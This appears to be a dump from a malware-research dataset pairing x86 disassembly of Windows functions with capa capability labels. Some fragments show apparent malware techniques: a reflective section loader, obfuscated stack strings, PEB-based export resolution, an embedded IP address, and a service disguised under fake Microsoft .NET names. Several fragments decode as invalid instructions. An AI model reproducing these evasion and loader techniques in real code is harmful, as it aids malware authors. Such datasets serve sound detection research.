joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100db046
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100db0e3
push ebx
push esi
call fcn.100db00f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100daf58
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100db090
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100db0e2
push edi
push eax
call fcn.100d58a1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100db0b0
call fcn.100d58ef
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100db0e1
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100daf58
add esp, 0x20
test eax, eax
jne 0x100db0cf
push edi
call fcn.100d58ef
jmp 0x100db0d7
push ebx
call fcn.100d58ef
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100db0e6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100db0f7
pop esi
ret
push ebx
push edi
push esi
call fcn.100db00f
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100d58a1
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100db11f
push ebx
push esi
push edi
call fcn.100af5f0
add esp, 0xc
push 0
call fcn.100d58ef
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x100db86b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100db392

Function at 0x100dbcaa
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100f95f0
push 0x100f95e8
push str.FlsAlloc
push 0x1e
call fcn.100dbb17
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100dbcde
push dword [ebp + 8]
mov ecx, esi
call dword [0x100f129c]
call esi
jmp 0x100dbce4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100dbd28
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100f9600
push 0x100f95f8
push str.FlsGetValue
push 0x20
call fcn.100dbb17
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100dbd5f
push dword [ebp + 8]
mov ecx, esi
call dword [0x100f129c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x100e8bac
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100e8b28
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100e8d24
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100e8d24
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100e8cd3
jg 0x100e8c05
test eax, eax
je 0x100e8cc9
push 1
push 0x1000
call fcn.100d9e8b
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100e8c2b
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x100e8cc0
push 0x8000
push ebx
call fcn.100e8a59
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100e8c57
jg 0x100e8c52
cmp ecx, 0x1000
jb 0x100e8c57
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100dd454
add esp, 0x10
cmp eax, 0xffffffff
je 0x100e8c9c
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100e8c52
jl 0x100e8c83
test ecx, ecx
jne 0x100e8c44
push dword [ebp - 0xc]
push ebx
call fcn.100e8a59
push esi
call fcn.100d58ef
add esp, 0xc
xor edi, edi
jmp 0x100e8d35
cmp byte [edi + 0x24], 0
je 0x100e8cb3
cmp dword [edi + 0x20], 5
jne 0x100e8cb3
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100e8cbe
mov edi, dword [edi + 0x18]
jmp 0x100e8cc0
xor edi, edi
push esi
call fcn.100d58ef
pop ecx
jmp 0x100e8d35
test ecx, ecx
jg 0x100e8c95
jl 0x100e8cd3
test eax, eax
jae 0x100e8c95
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100dee95
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100e8cf6
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x100e8c95
jmp 0x100e8d2d
push ebx
call fcn.100e7766
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100e8c95
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x100e8d35
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x100e8d32
mov edi, dword [edi + 0x18]
jmp 0x100e8d35
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100dee95
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001930
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10006fb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
xor edx, edx
push ebx
push esi
mov eax, dword [ecx + 4]
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov dx, word [eax + 0x14]
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dx, word [ecx + 6]
cmp eax, edx
jge 0x10001ab7
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
test ecx, ecx
jne 0x100019ea
lea ecx, [ebp - 0x24]
push 0x10007738
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x36
call fcn.1000251a
mov edx, dword [ebp + 0xc]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x100019e4
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
push 4
push 0x1000
mov eax, dword [ebx + 0xc]
push esi
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, 0x10001a98
ret
lea eax, [ebp - 0x28]
push 0x10007738
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x43
call fcn.1000251a
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [ebp - 0x1c]
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
mov eax, 0x10001a2c
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001ad0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10006fc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
mov eax, dword [eax]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0
mov cx, word [eax + 0x14]
lea edi, [ecx + eax + 0x18]
mov dword [ebp - 0x14], edi
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edx]
mov cx, word [eax + 6]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
jge 0x10001c51
mov eax, dword [edi + 0x24]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10001b77
lea edx, [ebp - 0x24]
push 0x10007738
push edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x4b
call fcn.1000251a
mov eax, dword [ebp - 0x14]
push 0x4000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x10001c35
ret
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov ecx, dword [edx*4 + 0x1013c030]
mov dword [ebp - 0x1c], ecx
je 0x10001b96
mov eax, ecx
or ah, 2
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x10]
test eax, eax
mov dword [ebp - 0x18], eax
jne 0x10001bf8
lea edx, [ebp - 0x28]
push 0x10007738
push edx
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x10
call fcn.1000251a
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x24]
test al, 0x40
je 0x10001bd7
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 0x20]
mov dword [ebp - 0x18], eax
mov eax, 0x10001bec
ret
test al, 0x80
je 0x10001be6
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 0x24]
mov dword [ebp - 0x18], eax
mov eax, 0x10001bec
ret
jbe 0x10001c3c
lea ecx, [ebp - 0x2c]
push 0x10007738
push ecx
mov dword [ebp - 4], 4
mov dword [ebp - 0x2c], 0xf
call fcn.1000251a
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10001c35
ret
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x14]
inc ecx
add edi, 0x28
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], edi
jmp 0x10001b0a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002040
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push 0x1013c898
push 0x133000
push 0x10009030
call fcn.10001ff0
push 0x10009030
call fcn.10001550
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10002085
mov eax, dword [esp + 0x10]
push eax
push ebx
call fcn.10001370
add esp, 8
test eax, eax
jne 0x10002089
push ebx
call fcn.10001210
add esp, 4
pop edi
pop esi
pop ebx
ret
sub esp, 0x848
mov ecx, 0x212
mov esi, str.27.124.43.162
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.10001210
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403059
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x403084
mov ecx, dword [0x424798]
push esi
add eax, ecx
push esi
push eax
mov dword [0x4178dc], eax
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00403161
cmp eax, esi
jl 0x40315b
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00405ce5
test eax, eax
je 0x40314b
push dword [ebp + 8]
add dword [0x4178dc], 4
call fcn.00403161
mov ebx, eax
cmp ebx, esi
jl 0x403159
cmp dword [ebp + 0x10], esi
jne 0x403127
cmp dword [ebp + 8], esi
jle 0x403159
mov esi, 0x4138d8
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x4030e9
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00405ce5
test eax, eax
je 0x40314b
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405d14
test eax, eax
je 0x403123
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x4178dc], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4030d8
jmp 0x403159
push 0xfffffffffffffffe
jmp 0x40314d
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403132
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403150
push 0xfffffffffffffffd
pop eax
jmp 0x40315b
mov ebx, dword [ebp - 4]
add dword [0x4178dc], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10

Function at 0x4041da
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.00403f3e
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00403ef3
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40421c
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00403f2e
mov gs, ebp
pop esp
aam 0x8d
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid

Function at 0x405ab3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
add byte [eax - 0x78b5b], al
inc dword [eax]
Function at 0x405ad9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
mov byte [ebp - 0x782], 0x2d
mov byte [ebp - 0x781], 0x71
jg 0x405aff
invalid
push dword [ecx - 0x3a]
test dword [eax + 0x3bfffff8], eax
mov byte [ebp - 0x77f], 0x33
mov byte [ebp - 0x77e], 0x33
mov byte [ebp - 0x77d], 0x5f
push 0xc
lea eax, [ebp - 0x78c]
push eax
call fcn.00403f3e
pop ecx
push eax
mov eax, dword [ebp - 0x28]
lea eax, [ebp + eax - 0x12c]
push eax
call fcn.00403e9f
add esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x3a0], eax
jmp 0x405ea6

Function at 0x405fbb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 1
pop eax
test eax, eax
je 0x405fd4
lea eax, [ebp - 0x230]
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x6fc], 0
jne 0x405aa9
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
mov byte [ebp - 0x765], 0x96
mov byte [ebp - 0x764], 0x96
mov byte [ebp - 0x763], 0x94
mov byte [ebp - 0x762], 0x95
mov byte [ebp - 0x761], 0xdb
mov byte [ebp - 0x760], 0xbd
mov byte [ebp - 0x75f], 0x92
mov byte [ebp - 0x75e], 0x97
mov byte [ebp - 0x75d], 0x9e
mov byte [ebp - 0x75c], 0x88
mov byte [ebp - 0x75b], 0xa7
mov byte [ebp - 0x75a], 0xa8
mov byte [ebp - 0x759], 0x82
mov byte [ebp - 0x758], 0x88
mov byte [ebp - 0x757], 0x8f
mov byte [ebp - 0x756], 0x9e
mov byte [ebp - 0x755], 0x96
mov byte [ebp - 0x754], 0xa7
mov byte [ebp - 0x753], 0x88
mov byte [ebp - 0x752], 0x82
mov byte [ebp - 0x751], 0x96
mov byte [ebp - 0x750], 0x88
mov byte [ebp - 0x74f], 0x89
mov byte [ebp - 0x74e], 0x8d
mov byte [ebp - 0x74d], 0xd5
mov byte [ebp - 0x74c], 0x9f
mov byte [ebp - 0x74b], 0x97
mov byte [ebp - 0x74a], 0x97
mov byte [ebp - 0x749], 0xfb
lea eax, [ebp - 0x77c]
push eax
call fcn.00403f3e
cmp dword [ebp - 0x6fc], 1
jne fcn.00405b5a
add byte [eax], al
invalid
and byte [ebp - 0x78c], 0
and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x405fcf
jmp 0x405fd4
jmp 0x4058d0

Function at 0x4060d4
Capabilities:
Get common file path
Resolve function by parsing pe exports

Disassembly:
call fcn.00403f2e
aad 0x1e
pop ebp
xor al, 0x64
mov eax, dword [0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1011e880
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1011fde2
xor ecx, ecx
mov edx, eax
mov esi, dword [0x1012d3c8]
mov edi, esi
add edi, 0xffffe7e0
mov dword [0x1012d3c4], edi
mov edi, dword [eax + 0x3c]
mov dword [0x1012d3c8], 0x1178
add esi, 0xffffdddf
mov dword [0x1012d3c4], esi
mov dword [0x1012d3c8], 0x83d
mov esi, dword [eax + edi + 0x78]
mov dword [0x1012d3c4], 0x2076
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1011e92a
jmp 0x1011e935
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x32], cl
je 0x1011e98f
jmp 0x1011e963
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edx
jmp 0x1011e8ff
mov eax, dword [ebp - 0x30]
add eax, 1
mov cl, byte [ebp - 0x31]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x32]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x28], eax
jne 0x1011e8ff
mov al, byte [ebp - 0x32]
test al, 1
jne 0x1011e9c1
jmp 0x1011e998
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edx
jb 0x1011e947
jmp 0x1011e92a
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax]
mov dword [0x1012d3c4], 0x2157
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1012d3c8], 0xd6c
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
jmp 0x1011e92a
Function at 0x1011e9f5
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x30
mov dword [ebp - 8], 0
mov dword [0x1012d3c4], 0x1b77
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x1012d3c8], 0x68b
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1012d3c4], 0x1049
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x1011ea72
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x104
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], ecx
jl 0x1011ea72
jmp 0x1011eab9
mov eax, 0x24e8
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x1011eb79
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], edx
je 0x1011eab9
jmp 0x1011ea40
mov eax, 0x2d23
mov ecx, 1
mov dword [0x1012d3c8], 0xfd3
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x2c]
cmp word [edx + esi*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
je 0x1011eb79
jmp 0x1011ea60
mov eax, dword [ebp - 0x20]
mov dword [0x1012d3c4], 0x162a
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x2c], eax
jne 0x1011ea60
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff4
shl eax, 1
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp word [eax], 0x6f
jne 0x1011ea60
mov dword [0x1012d3c8], 0xcc3
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
mov dx, word [eax + ecx*2 - 0x16]
mov word [ebp - 0x32], dx
mov ax, word [ebp - 0x32]
cmp ax, 0x61
jne 0x1011ea60
mov dword [0x1012d3c4], 0x15d5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1011ea60
mov dword [0x1012d3c4], 0x3b73
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1011ea60
mov dword [0x1012d3c4], 0x1718
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1011ea8a
jmp 0x1011ea60
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [0x1012d3c4], ecx
add esp, 0x30
pop esi
pop ebp
ret